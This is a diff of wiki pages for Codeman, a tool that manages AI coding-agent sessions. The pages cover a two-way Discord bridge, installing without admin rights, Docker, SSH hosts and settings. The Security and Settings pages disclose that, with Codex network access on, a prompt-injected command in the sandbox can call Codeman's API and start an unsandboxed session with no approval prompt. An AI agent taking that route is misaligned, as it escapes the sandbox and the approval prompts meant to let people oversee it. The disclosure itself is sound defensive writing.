   explicit choice per session.

docs/wiki/Discord-Bridge.md

@@ -0,0 +1,105 @@
+# Discord Bridge
+
+Answer a blocked agent from your phone, from anywhere. Codeman posts to a private Discord
+server when a session needs you, gives every tab its own thread, and types your reply in that
+thread into that tab. It only makes outbound connections, so nothing is exposed to the internet
+and it works when you are away from your network.
+
+**Opt-in, off by default. One server, one channel, threads per tab.**
+
+> **Treat the Discord account like a login to the machine.** A reply from an allowed account is
+> typed into agents that can run shell commands. Turn on 2FA and use a strong, unique password.
+
+## What it does
+
+- **Alerts** for permission prompts, questions, idle sessions, errors and a stopped crash loop. A
+  question or permission prompt shows what is on the tab's screen right now, so you can see what is
+  being asked; a finished turn or an error carries the CLI's whole last message.
+- **One thread per tab** in a parent channel, so a reply always reaches exactly one session.
+- **Replies** from an allowed user are typed into that tab as one line plus Enter (a single digit answering a waiting permission or question goes as the key alone, without Enter).
+- **Files** you attach are saved in the tab's folder and the agent is given the path. An agent can
+  send a file back.
+- **Agents can ask for you.** `codeman notify "Press the reset button on the case" --urgent`
+  posts to the tab's thread. Sessions from the installer or an npm install have the command (a git checkout run without the installer does not); see [below](#telling-the-agents).
+
+## Set it up
+
+The full least-privilege walkthrough (private server, bot, the exact permissions, IDs, token
+handling) is in [docs/discord-bridge.md](https://github.com/Ark0N/Codeman/blob/master/docs/discord-bridge.md).
+In short:
+
+1. Make a private Discord server with one text channel, and copy the server, channel and your user IDs.
+2. Create an application with a bot. Turn **Public Bot** off, turn **Message Content Intent** on, and
+   invite it with the `bot` scope and only the permissions the guide lists (no Administrator).
+3. In **App Settings → Notifications → Discord**, paste the bot token and the three IDs, press **Save**,
+   then **Send test**, then turn **Talk to your sessions from Discord** on and **Save** again.
+
+The token is a secret: it is kept in its own file (`~/.codeman/discord.json`, readable by its owner
+only), never in the shared settings, and never shown again once saved.
+
+## Options
+
+| Option                                   | Choices                                     | Default         |
+| ---------------------------------------- | ------------------------------------------- | --------------- |
+| Create threads                           | On the first alert, or for every new tab    | First alert     |
+| When a tab is deleted                    | Keep, archive or delete the thread          | Archive         |
+| Stale threads                            | Keep, archive or delete threads no tab uses | Keep            |
+| @ ping                                   | Never, critical events only, every post     | Critical only   |
+| Which events                             | Needs attention, or everything              | Needs attention |
+| Tell Claude how to reach you             | On or off                                   | On              |
+
+A finished turn, and an error, is posted as the CLI's whole last message, with its formatting and questions
+kept, split over several posts if it is long. A shell, and permission or question dialogs, show the last lines
+of the screen instead.
+
+Only some CLIs raise a turn end. Claude Code does (an idle alert by default, and a stop alert when **Which
+events** is Everything), and DeepSeek Harness sends a stop. The others (Codex, OMP, OpenCode, Gemini,
+Antigravity, Pi, Grok, Copilot) send none, so their messages reach Discord with an error or `codeman notify`;
+Codex's dialogs are read off its screen.
+
+The stale-thread setting also archives or deletes threads that **When a tab is deleted** kept or archived, because a
+deleted tab's thread leaves the bridge's map.
+
+Deleting a thread needs the **Manage Threads** permission on the channel. "Critical" means a
+permission prompt, a question, an error, or a post an agent marked urgent.
+
+## Telling the agents
+
+An agent only posts deliberately if it knows it can:
+
+- **Claude** is launched with the instruction as part of its system prompt (**Tell Claude how to reach you**, on by default), so nothing shows in the chat. This reaches local tabs only (remote and Docker tabs have no `codeman` command).
+- **Every other CLI** is not told. It can still run `codeman notify` if you tell it to.
+
+Tabs that were already open when you turned the bridge on are not told. The alerts still reach
+Discord for them; only the agent-initiated `codeman notify` habit is missing.
+
+## Files
+
+- **You to the agent:** attach a file to a reply. It is saved as
+  `<tab folder>/.codeman-discord/<message id>-<name>` and the line the agent sees ends with
+  `[attached: <path>]`. At most 5 files of 8 MB each. The folder ignores itself, so nothing in it is committed.
+- **Agent to you:** `codeman notify "message" --file <path>` uploads a file of at most 8 MB that lies
+  inside the tab's folder. Credential files such as `.env` are refused.
+- Remote (ssh) tabs have no local folder, so they neither send nor receive files.
+- A file you send is untrusted content to the agent that opens it.
+
+## Safety
+
+- Only user IDs on the allowlist, in your server, inside a thread Codeman made, are acted on.
+  Everything else is dropped.
+- A reply is cut to one printable line (1000 characters) and limited to one per second per tab.
+- Posts can ping only the allowlisted users, so agent output cannot ping the whole server.
+- A Discord outage or a bad token never affects a session; it backs off, and the last error shows in Settings.
+
+## Troubleshooting
+
+| Symptom                                          | Check                                                          |
+| ------------------------------------------------ | -------------------------------------------------------------- |
+| Send test says 401                               | The token is wrong or was reset. Paste the current one.        |
+| Send test says the bot cannot see it             | Check the bot's role and the channel ID.                       |
+| Posts arrive but replies do nothing              | Message Content Intent is off, or your user ID is not allowed. |
+| Status line says "Message Content Intent is off" | Turn it on in the Developer Portal, Bot tab.                   |
+| A thread is not deleted                          | The bot lacks Manage Threads on the channel.                   |
+
+See also: [Notifications And Approvals](Notifications-And-Approvals) for the other ways to hear
+from an agent, and [Security](Security) for how secrets are handled.

docs/wiki/Docker-Cases.md

@@ -98,6 +98,10 @@ Adoption is **admin-only in multi-user mode**. Linking creates Codeman's own con
 with one bind mount that has already been checked; an adopted container's mounts belong to
 whoever started it, and one that mounts `/` hands the adopter the host.
 
+That is about a container. A tmux session someone started by hand inside a container is opened
+from the home screen instead, and it needs a Docker case pointing at that container: see
+[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
+
 ## Credentials
 
 Your existing host logins work inside the container without logging in again. Credentials
@@ -225,7 +229,8 @@ this does not widen your network exposure. Add it to the service unit and restar
 
 - Per-session environment overrides, effort, and per-CLI configuration are **rejected** for
   docker cases, because they do not cross into the container. Configure the container through
-  the docker host's per-mode command override instead.
+  the docker host's per-mode command override instead. A `$` in that override expands inside
+  the container, not on the Codeman machine.
 - tmux must exist in the base image. It is a hard prerequisite and is probed when linking a
   host.
 - On macOS, Docker Desktop takes a dedicated uid path, and memory caps are subject to the

docs/wiki/FAQ.md

@@ -179,12 +179,13 @@ the defaults discovers and attaches your live sessions.
 | Install route | Update with                                                                 |
 | ------------- | --------------------------------------------------------------------------- |
 | Installer     | Re-run the install one-liner, or **App Settings → System → Updates**.         |
+| Installer, without git | Re-run the install one-liner. The in-app updater says so instead of offering an update. |
 | npm           | `npm update -g aicodeman`                                                     |
 | git clone     | `git pull && npm install && npm run build`, then restart the service.         |
 
 The in-app updater covers git-clone installs supervised by systemd or launchd. It stashes a
 dirty tree rather than discarding it, and streams progress across the restart. npm installs
-report as non-updatable.
+and installs without git report as non-updatable.
 
 ### Will updating kill my running sessions?
 

docs/wiki/Git-Worktrees.md

@@ -39,6 +39,26 @@ name.
 
 **Open** on a worktree's row starts another session in it, with the CLI chosen above.
 
+## When an agent moves into a worktree
+
+Claude Code can move a running session into a worktree part way through (its EnterWorktree tool),
+and the session's tab stays on the case. While the session's pane is in a worktree inside the
+session's folder, the **Files** panel lists that worktree, so you see the files the agent is
+editing. A strip under the panel's title names the worktree, and its **Session folder** button
+switches to the session's own folder (**Back to worktree** returns). The panel follows the agent
+in and back out on its own while it is open.
+
+Only the Files panel moves. The **Git** panel stays on the session's folder, so it can show
+`main` while the strip names the worktree. And `.claude` is a hidden folder of the session's
+folder, so an `.html` file in `.claude/worktrees/<name>` opens as source rather than as a
+rendered page. A session started in the worktree does not have that limit.
+
+A worktree outside the session's folder (`git worktree add ../feature`) is not followed: Codeman
+only serves files inside the session's folder. The same goes for a session started in a subfolder
+of the repository, because Claude Code puts the worktree at the top of the repository, which is
+outside that session's folder. Open such a worktree as a case of its own with Add Case > Link
+Existing.
+
 ## Removing one
 
 Two ways, and both use `git worktree remove` **without** `--force`:

docs/wiki/Home.md

@@ -79,6 +79,7 @@ codeman web    # then open http://localhost:3000
 | ------------------------------------------------------------- | --------------------------------------------------- |
 | [Keeping Agents Running](Keeping-Agents-Running)              | How does it run unattended overnight?               |
 | [Notifications And Approvals](Notifications-And-Approvals)    | How do I know an agent needs me, and answer from my phone? |
+| [Discord Bridge](Discord-Bridge)                              | How do I answer a blocked agent from Discord, in a thread per tab? |
 | [Cron Jobs](Cron-Jobs)                                        | How do I run an agent on a schedule?                |
 | [Autonomous Loops](Autonomous-Loops)                          | What are the Ralph and Orchestrator loops for?      |
 | [Watching Agents Work](Watching-Agents-Work)                  | How do I see what the subagents are doing?          |

docs/wiki/Installation.md

@@ -102,6 +102,58 @@ installs Tailscale itself non-interactively; a non-interactive run never renames
 machine and never starts a service. Everything the unattended steps print goes to
 `~/.codeman/install.log`, and the last lines of it are shown when a step fails.
 
+### Without administrator rights
+
+Codeman itself always lived in your home directory. What used `sudo` (or Homebrew on a
+Mac) were the things it needs first. On an account that has no administrator rights the
+installer says so in its summary (`Admin  not used (...)`) and gets those another way:
+
+| Needed                  | With administrator rights    | Without                                                                                                                             |
+| ----------------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
+| Node.js 22              | system package or Homebrew   | The official tarball from nodejs.org, checked against the `SHASUMS256.txt` published beside it, unpacked to `~/.codeman/runtime/node`. |
+| tmux                    | system package or Homebrew   | The tmux project's own build ([tmux-builds](https://github.com/tmux/tmux-builds)), checked against a SHA-256 pinned in the installer, in `~/.codeman/runtime/bin`. |
+| git                     | system package or Xcode tools | Not installed. Without a working git, the source is downloaded as an archive instead of cloned.                                     |
+| Build toolchain (Linux) | system package               | Cannot be supplied. See below.                                                                                                      |
+
+This route is taken by itself when `sudo` is not installed, when the account is outside the
+`sudo`, `wheel` and `admin` groups and `sudo` will not run without a password, when the
+`sudo` password is refused, and on a Mac for an account that is not an administrator and
+has no Homebrew it can write to.
+`--no-admin` (or `CODEMAN_NO_ADMIN=1`) forces it on an account that does have the rights;
+`CODEMAN_NO_ADMIN=0` switches the detection off. Nothing on this route runs `sudo`,
+Homebrew or the Xcode tools installer.
+
+The group check cannot see a sudoers entry, so an account that sudoers lists by name, with
+a password, takes this route too. The summary then reads `could not confirm that this
+account may use sudo`, and to use `sudo` anyway:
+
+```bash
+curl -fsSL https://getcodeman.com/install | CODEMAN_NO_ADMIN=0 bash
+```
+
+What to know about it:
+
+- **Linux needs make, a C++ compiler and python3 to be there already.** node-pty compiles
+  from source on Linux, and a compiler is a system package. The installer checks this
+  before it downloads anything and names what is missing. macOS needs no compiler.
+- **The tmux download needs macOS 15 or newer** (and x86_64 or arm64 on either system).
+  On an older Mac an administrator has to install tmux once (`brew install tmux`); the
+  rest then works without one.
+- **An install without git updates by re-running the install line**, not from App
+  Settings. The re-run builds the new version beside the old one and swaps it in only
+  after the build succeeded, so a failed download or build leaves the install as it was.
+  Once the machine has a working git, the next re-run turns the install into a normal
+  clone and in-app updates work again. On a Mac, "a working git" means the Xcode Command
+  Line Tools are installed: without them `/usr/bin/git` only opens Apple's install dialog,
+  and the installer never runs it.
+- **Tailscale works where it is already installed and your account may configure it.** On
+  Linux, installing it, logging in and granting serve rights each need an administrator
+  (`sudo tailscale set --operator=$USER`, once). Local network and this-machine access
+  need nothing, and `install.sh cloudflared` puts `cloudflared` in `~/.local/bin`.
+- `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin`, and
+  `~/.codeman/runtime/node/bin` is added to your PATH, so a CLI installed with
+  `npm install -g` is found as well.
+
 ## Route B: npm
 
 ```bash
@@ -144,16 +196,24 @@ See [Contributing](Contributing) for the rest of the development loop.
 ## Route D: Docker Compose
 
 Codeman itself can run in a container and spawn Docker cases as sibling containers through
-the host's Docker socket. Copy `docker/.env.example` to `docker/.env`, set
-`CODEMAN_PASSWORD`, then:
+the host's Docker socket. You need Docker with the Compose v2 plugin (2.27.2 or newer), and
+an account that can use Docker without sudo (on Linux, the `docker` group). Then, on Linux:
 
 ```bash
+git clone https://github.com/Ark0N/Codeman.git && cd Codeman
 bash docker/Start-Codeman.sh
 ```
 
+The first run asks for a data folder, a port and a password. Enter takes each default,
+including a generated password, shown on your terminal and kept in `docker/.env`. It then
+writes that file, builds the image (a few minutes the first time) and ends on the URL once
+Codeman answers. The image
+already includes Claude Code, Codex, Gemini CLI and OpenCode: start a session and log the CLI
+in once, and the login is kept in the data folder.
+
 Run the script again after updating rather than a plain `docker compose up`, so the rebuilt
 image, the refreshed volumes and the entrypoint arrive together. The full guide, including
-storage and networking options, is
+Unraid, storage and networking options, is
 [`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
 
 ## Installing an agent CLI
@@ -194,6 +254,7 @@ If the dashboard loads and **+ New Session** opens, you are done. Continue to
 | Path                    | What                                                                                             |
 | ----------------------- | ------------------------------------------------------------------------------------------------ |
 | `~/.codeman/app`        | The installed code (installer route only).                                                        |
+| `~/.codeman/runtime`    | Node.js and tmux, when the installer downloaded them instead of using system packages ([no administrator rights](#without-administrator-rights)). |
 | `~/.codeman/`           | All state: `state.json`, settings, session history, push keys, TLS certs. See [Core Concepts](Core-Concepts). |
 | `~/codeman-cases/`      | Cases created from scratch. Linked cases stay wherever they already are.                          |
 | `~/.codeman/web.log`    | Log for a detached (`-d`) server.                                                                 |
@@ -217,9 +278,10 @@ Full detail, including logs and the self-updater, is in
 | Install route | How to update                                                     |
 | ------------- | ----------------------------------------------------------------- |
 | Installer     | Re-run the one-liner, or **App Settings → System → Updates** in the UI. |
+| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
 | npm           | `npm update -g aicodeman`                                          |
 | git clone     | `git pull && npm install && npm run build`, then restart.          |
-| Docker Compose | Re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
+| Docker Compose | `git pull`, then re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
 
 The in-app updater covers git-clone installs supervised by systemd or launchd. It restarts
 the process that is running it, so the actual work happens in a detached script and the
@@ -232,8 +294,12 @@ install.sh uninstall            # installer route
 npm uninstall -g aicodeman      # npm route
 ```
 
-Neither removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand if you want the
-state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
+The installer route asks before it removes `~/.codeman/runtime` (the Node.js and tmux it
+downloaded, if any), and keeps it by default when you installed CLIs there with
+`npm install -g`. That folder is inside `~/.codeman/`, so saying yes to the data directory
+question that follows removes it even if you kept it a step earlier, and the question says
+so. By default neither route removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand
+if you want the state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
 point at directories you already had, but cases created from scratch have their only copy
 there.
 

docs/wiki/Mobile-Guide.md

@@ -66,8 +66,9 @@ A row of keys above the virtual keyboard, and what it contains depends on the se
 **Agent sessions** get quick actions: `/init`, `/clear`, `/compact`, a Compose key, `Esc`,
 a path picker, and 🧠 when Read My Mind is on. Compose opens a multiline editor with
 autocorrect: Enter adds a new line, and only Send delivers the text, as one paste followed
-by Enter, so your line breaks reach the agent intact. Anything already typed on the terminal
-prompt moves into the editor when it opens. Drafts are kept per session and in memory only,
+by Enter, so your line breaks reach the agent intact. A prompt written in Persian, Arabic or
+Hebrew lays out right to left. Anything already typed on the terminal prompt moves into the
+editor when it opens. Drafts are kept per session and in memory only,
 so switching tabs keeps them and a page reload forgets them; a dot on the key shows a draft
 is parked. The editor's Attach button attaches photos, videos or documents and puts their paths
 into the draft.
@@ -187,6 +188,7 @@ Setup in [Notifications And Approvals](Notifications-And-Approvals).
 
 The terminal viewport is small. **Last Response** (opt-in header button) renders the agent's
 last answer as scrollable text instead, with a **More** button for additional context.
+Persian, Arabic and Hebrew answers read right to left there.
 
 The [File Viewer](Working-With-Files) works on phones too, including edit mode, which is
 enough to fix a typo an agent introduced while you are away from your desk.

docs/wiki/Multi-User-Mode.md

@@ -85,8 +85,10 @@ In the browser this means:
 
 The operations that act on the whole server are admin actions too: updating Codeman,
 opening the multi-display window, regenerating the tunnel QR code (it clears every user's
-pending QR login) and cleaning up stale session state. **Revoke All** signs a regular user
-out of their own logins only, and the tunnel panel lists only their own.
+pending QR login) and cleaning up stale session state. So is the **Opened outside Codeman**
+block on the home screens, which shows everyone's processes and opens a shell as the server's
+account. **Revoke All** signs a regular user out of their own logins only, and the tunnel
+panel lists only their own.
 
 Per-user server settings are not part of this version.
 
@@ -99,6 +101,7 @@ Non-admins get tighter defaults, and lifting them is an explicit per-user grant:
 | Claude runs in `auto` permission mode | Anthropic's classifier-guarded mode instead of skip-prompts.           |
 | Raw shell sessions require a grant  | A plain shell is unmediated machine access.                              |
 | Skip-permissions requires a grant   | Same reasoning.                                                          |
+| Codex **Allow network access** requires a grant | It lets a sandboxed command reach any host, Codeman's own API included. |
 | Cron `launchCommand` requires a grant | It is an arbitrary command on a schedule.                              |
 | Pi project trust defaults to off    | Trust makes Pi execute repo-local TypeScript.                            |
 

docs/wiki/Notifications-And-Approvals.md

@@ -13,6 +13,7 @@ opening the session.
 | Desktop notification           | Another window on the same machine               | Opt-in  |
 | Push notification              | Anywhere, even with no tab open                  | Opt-in  |
 | Webhook (ntfy, Slack, Discord) | Anywhere, with no browser or subscription at all | Opt-in  |
+| Discord bridge (two-way)       | Anywhere, and you can answer in a thread per tab | Opt-in  |
 | Approvals Inbox                | One queue for Claude, Codex and DeepSeek prompts | Opt-in  |
 | Phone overview                 | Phone home screen, NEEDS YOU section             | On      |
 | Away Digest                    | Afterwards, as a summary                         | Opt-in  |
@@ -66,6 +67,11 @@ Setup:
 
 Once subscribed, a blocking prompt reaches your phone even from a locked screen.
 
+## Discord bridge: answer from your phone
+
+A webhook is one-way. To also **reply** to a blocked agent, use the [Discord Bridge](Discord-Bridge): a
+thread per tab, your reply typed into that tab, files in both directions.
+
 ## Webhooks: ntfy, Slack, Discord
 
 **Opt-in, off by default. One channel for the whole server.**

docs/wiki/Remote-SSH-Sessions.md

@@ -29,11 +29,18 @@ through a jump host. Your laptop can sleep, change networks, or close, and the r
 
 Hosts are saved and reusable, so a second case on the same machine is just a path. Host
 profiles can also carry per-run-mode launch command overrides, for when the binary lives
-somewhere unusual on that host.
+somewhere unusual on that host. An override runs on the remote in your login shell, so a `$`
+in it expands there, not on the Codeman machine.
 
 The remote host needs **tmux**. Codeman probes for it when you link the host rather than
 failing later at launch.
 
+The remote login shell can be bash, zsh, dash, fish, csh or tcsh. A tcsh session reads `.tcshrc`
+and not `.login`, so set the PATH that finds `tmux` and your agent CLI in `.tcshrc`. The tmux check
+also needs a `command` executable under tcsh: macOS and the BSDs ship one, Debian and Ubuntu do
+not, so linking a tcsh host there stops at `could not verify tmux`. nushell and elvish cannot run a
+remote session at all.
+
 ## What actually runs
 
 The agent lives inside a dedicated tmux server on the **remote** host, and Codeman fronts it
@@ -73,13 +80,19 @@ Attaching to someone else's session and closing your tab must not end their run,
 not. Several clients can attach the same remote session at different window sizes without
 clamping each other, and discovery shows a shared badge with the client count.
 
+This list holds Codeman's own sessions. A tmux session someone started by hand on the host is
+found by the home screen instead: see
+[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
+
 ## Files
 
 Previews, downloads and text reads in a remote case go over the same ssh connection the
 session uses, so a clicked path opens the file on the machine the agent is on, `Range`
-seeking included. Nothing is copied to the Codeman host. Editing, Office previews,
-thumbnails, the file tree and the tail viewer are not available remotely and answer a clear
-400 rather than a misleading 404. Details in [Working With Files](Working-With-Files).
+seeking included. Nothing is copied to the Codeman host, apart from the diffs the
+[Edit history](Working-With-Files#edit-history) panel keeps, which works for remote Claude
+sessions too. Editing, Office previews, thumbnails, the file tree and the tail viewer are not
+available remotely and answer a clear 400 rather than a misleading 404. Details in
+[Working With Files](Working-With-Files).
 
 ## Security
 

docs/wiki/Running-As-A-Service.md

@@ -145,15 +145,16 @@ log stream --predicate 'process == "node"'   # macOS, noisy
 | Install route | Update with                                                             |
 | ------------- | ------------------------------------------------------------------------ |
 | Installer     | Re-run the one-liner, or **App Settings → System → Updates**.             |
+| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
 | npm           | `npm update -g aicodeman`                                                 |
 | git clone     | `git pull && npm install && npm run build`, then restart.                 |
-| Docker Compose | Re-run `Start-Codeman.sh`, or the in-app updater, which restarts the container in place. |
+| Docker Compose | The in-app updater, which restarts the container in place, or `git pull`, then re-run `Start-Codeman.sh`. |
 
 ### The in-app updater
 
 **App Settings → System → Updates**, for git-clone installs supervised by systemd or
-launchd. npm installs report as non-updatable, and an unsupervised install is told to
-restart manually.
+launchd. npm installs and installs without git report as non-updatable, and an unsupervised
+install is told to restart manually.
 
 The interesting part is that the update restarts the very process running it. So the real
 work runs in a **detached script that outlives the restart** and writes progress to a status
@@ -188,7 +189,13 @@ the bind-mounted directories with the right owner, honours a `docker-compose.ove
 and refreshes the build volumes when the checkout moved under them. The in-app updater
 applies code only and restarts by letting the container exit, so it refuses a release that
 changes the Dockerfile, the compose file, or adds a new `.env` key, until you re-run the
-script. Guide:
+script.
+
+With no `docker/.env` yet, the script first asks for a data folder, a port and a password and
+writes that file. It then waits up to 180 seconds for Codeman to answer and exits 1 if the
+container crash-loops or never answers; pass `--no-wait` for scripted use. `Start-Codeman.sh`
+and `Update-Codeman.sh` both refuse to run while `CODEMAN_PASSWORD` is still the example
+`changeme`. Guide:
 [`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
 
 ## The tunnel as a service

docs/wiki/Security.md

@@ -68,7 +68,7 @@ be wrong for at least one of them:
 | **File Viewer**      | Real path resolution before boundary checks, so symlinks cannot escape. Sensitive trees blocked. Edit mode adds an extension allowlist, a size cap, `.git` denial, and optimistic concurrency. It never creates files. |
 | **Attachments**      | An id-based registry, so browser requests never carry absolute paths. The magic-link scanner is prompt-injectable by nature and is therefore force-confined to the session's workspace. Extension allowlist, not a blocklist. |
 | **Path picker**      | Its own root allowlist rather than the workspace confinement. In multi-user mode a non-admin gets only their own user space, because per-user spaces live inside the home directory. |
-| **Remote cases**     | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host; writes, Office previews and thumbnails are refused. |
+| **Remote cases**     | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host, apart from the diffs the Edit history panel reads from a remote Claude session's transcripts while it is open, kept in a private bounded store (0600) that is deleted with the session's record. Writes, Office previews and thumbnails are refused. |
 
 Downloads block sensitive paths outright (`.env`, credentials files, `~/.ssh`, AWS
 credentials), and SVG and HTML are served as downloads with `nosniff` so they cannot execute
@@ -99,6 +99,12 @@ Stated plainly, because a security page that only lists strengths is not useful:
   bypass requires a secret unconditionally when auth is on.
 - **The agent CLIs have their own trust models.** Pi's project trust executes repo-local
   TypeScript, for instance. See [Agent CLIs](Agent-CLIs).
+- **Allow network access takes Codex's sandbox out of the picture.** The setting (App
+  Settings, Codex, off by default) lets commands in Codex's sandbox call Codeman's API,
+  which can start a session outside the sandbox with no approval prompt. A password does
+  not stop this, because a session inherits the server's password. It applies to every new
+  local Codex session, so a prompt-injected command in any of them can run anything you
+  can. Leave it off unless you trust what those sessions run.
 
 ## Privacy
 

docs/wiki/Settings-Reference.md

@@ -38,8 +38,8 @@ as usual and tells them that server-wide settings can only be changed by an admi
 ### Updates
 
 Current version, a manual check, and the in-app updater. Covers git-clone installs
-supervised by systemd or launchd; npm installs report as non-updatable. See
-[Running As A Service](Running-As-A-Service).
+supervised by systemd or launchd; npm installs and installs without git report as
+non-updatable. See [Running As A Service](Running-As-A-Service).
 
 ### Terminal & Input
 
@@ -49,7 +49,7 @@ supervised by systemd or launchd; npm installs report as non-updatable. See
 | Keep Size Under Keyboard      | On                   | For local Claude sessions, the on-screen keyboard no longer resizes the session: the terminal keeps its rows and the view scrolls so the prompt sits just above the keyboard. Resizing made Claude reprint its screen and drop transcript lines from history. Codex, Claude's fullscreen mode, remote and Docker sessions resize as before. See [Mobile Guide](Mobile-Guide). |
 | CJK Input                     | Off                  | IME composition through a dedicated text field.                        |
 | Extended Keyboard Bar         | Per device           | Which accessory bar phones get. Shell sessions override it while they are active. |
-| Wheel Scrolls Local History   | Off                  | Keeps the wheel on the local buffer instead of forwarding it to the CLI. |
+| Wheel Scrolls Local History   | Off                  | Keeps the wheel on the local buffer instead of forwarding it to the CLI. Fullscreen pi leaves that buffer empty and has no paging fallback, so with this on the wheel does nothing there. |
 | Auto Copy Selection           | Off                  | Copies highlighted terminal text to the clipboard the moment you finish selecting it. Ctrl+C still copies on demand. |
 | Trim The Pane Margin On Copy  | On                   | Takes the left margin a full-screen agent CLI paints down its own edge off a copy, so the text pastes flush. Each CLI declares its own width, and the strip never exceeds the indent every selected line shares, so nesting is kept. Claude Code and Codex declare a margin; a shell does not. |
 | Normal / Bold font weight     | xterm defaults       | Per device, each slot from 100 to 900. The bundled JetBrains Mono renders every step, so a lighter normal weight makes Claude's bold headings stand out. Applies live to the terminal, both echo overlays and open team panes. |
@@ -62,7 +62,7 @@ supervised by systemd or launchd; npm installs report as non-updatable. See
 Chips for every optional header control, with a live preview of the resulting header:
 
 Run, Font Size, System Stats, Redraw Terminal, Response Viewer, Away Digest, Session
-Manager, Attachments, File Viewer, Multi-monitor, Split, Tiles, Plan Usage, Lifecycle Log, Monitor,
+Manager, Attachments, Edit history, File Viewer, Multi-monitor, Split, Tiles, Plan Usage, Lifecycle Log, Monitor,
 Project Insights, File Browser, Subagents, Approvals Inbox, Read My Mind, Ultracode Agents,
 Ultracode Windows, Cron.
 
@@ -106,6 +106,12 @@ nothing waits for a login, and that is a default, never an override: your own `G
 repository's `core.sshCommand`, is used when either is set. ⚠️ The default's `StrictHostKeyChecking=accept-new`
 records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write.
 
+**Edit history** (per device, off by default, never on phones) adds a header button for the
+active session's edit history: every edit the agent and its subagents made, with its diff, and
+images it produced. Claude sessions, local and remote (SSH). Nothing is read until you open the window, and it
+stores those diffs (secrets included) under `~/.codeman/edit-history/`; see
+[Working With Files](Working-With-Files#edit-history).
+
 Most default to off. The stock desktop header is system stats, File Viewer, Tiles, and the gear.
 **Header Stats Style** picks how the system stats and plan usage are drawn: *Compact*
 (default; two pills with a ring beside every value), *Tiles* (label over value with a bar underneath) or *As before* (the bars and the `5H · 7D` chip). Desktop only, per device.
@@ -202,7 +208,7 @@ instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-E
 | Default Codex model              | Model for new local Codex sessions; empty uses Codex's own config. Letters, digits, `.` `_` `-` `/` only. |
 | Default Codex reasoning effort   | Reasoning level for new local Codex sessions; empty uses Codex's own config.                   |
 | Bypass approvals and sandbox     | Starts new Codex sessions with `--dangerously-bypass-approvals-and-sandbox`. Read [Agent CLIs](Agent-CLIs) before enabling. |
-| Allow network access             | Starts new Codex sessions with `sandbox_workspace_write.network_access=true`, so commands in Codex's workspace-write sandbox can use the network. The [Codeman Skill](Codeman-Skill) needs it to reach this server from a Codex session. It applies where Codex runs the folder in workspace-write (a project you trusted in Codex); in a folder Codex runs read-only, Codex asks for approval per command instead. The sandbox and approval prompts stay on. Synced, off by default; forced off for users without the privileged-commands grant in multi-user mode. |
+| Allow network access             | Starts new local Codex sessions (Run menu, Resume and the API; not scheduled jobs) with `sandbox_workspace_write.network_access=true`, so commands in Codex's workspace-write sandbox can use the network. The [Codeman Skill](Codeman-Skill) needs it to reach this server from a Codex session. It applies to every such session, and those commands can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even when a password is set: see [Security](Security#what-codeman-does-not-protect-against). It applies where Codex runs the folder in workspace-write (a project you trusted in Codex) and does not change Codex's sandbox mode: a folder Codex runs read-only keeps the network closed, and Codex asks for approval per command. Synced, off by default; forced off for users without the privileged-commands grant in multi-user mode. |
 | Animated status effects          | Cosmetic.                                                                                      |
 | MCP server sync                  | Copies the MCP servers each installed, enabled CLI (Claude, Codex, Gemini, OpenCode, Antigravity) and GitHub Copilot CLI has into the others' own config files. Synced, off by default, admin only in multi-user mode. Turn it on and **Apply** or **Save** (Apply keeps Settings open), then **Preview** shows what would change and **Sync now** applies it. It only adds missing servers, keeps the previous file as `.codeman-bak`, and leaves a file that receives env values or headers readable by you only. A config dir moved by `CODEX_HOME`, `CLAUDE_CONFIG_DIR`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME` or `COPILOT_HOME` in Codeman's own environment is followed. |
 
@@ -214,8 +220,9 @@ how long a desktop notification stays up before Codeman closes it (**Browser
 notification display time**, default 8; both per device, and your OS may close a
 desktop notification sooner), the idle
 threshold that decides when a quiet session counts as needing you, and the server-wide
-webhook (ntfy, Slack, Discord or generic JSON; admins only in multi-user mode). See
-[Notifications And Approvals](Notifications-And-Approvals).
+webhook (ntfy, Slack, Discord or generic JSON; admins only in multi-user mode), and the
+Discord group for the two-way bot (token, IDs, thread and ping options; see
+[Discord Bridge](Discord-Bridge)). See [Notifications And Approvals](Notifications-And-Approvals).
 
 ### Voice
 

docs/wiki/The-Dashboard.md

@@ -287,6 +287,39 @@ Two extras depending on the device:
 - **Phones**: tapping the "C" logo gives a session overview instead: NEEDS YOU first, then
   current sessions, then past ones. On by default.
 
+### Opened outside Codeman
+
+A tmux session you started by hand (`tmux new -s work`, then `claude`, or just a shell) shows
+up on the home screen under **Opened outside Codeman**, on the desktop and in the phone
+overview. **Open** wraps it in a tab, and **Go to tab** on a row means it already has one.
+
+| Where it runs        | How it is found                                                              |
+| -------------------- | ---------------------------------------------------------------------------- |
+| **This machine**     | Automatically, every few seconds while the home screen is up.               |
+| **A container**      | The `⟳` button in the block's header scans the containers behind your Docker cases. |
+| **Over SSH**         | The same button scans your saved remote hosts.                               |
+
+The container and SSH scan costs one connection per target, so it runs when you press the
+button, and **Rescan** runs it again.
+
+- **Closing the tab only detaches.** The session keeps running, and the close dialog offers no
+  kill. Opening one types nothing into it.
+- **Codeman did not start it,** so it will not drive it: respawn, Ralph, auto-clear,
+  auto-compact, auto-resume, custom model endpoints, prompt uploads and the image watcher are
+  refused, the git panel shows nothing, and Edit history says it is not available.
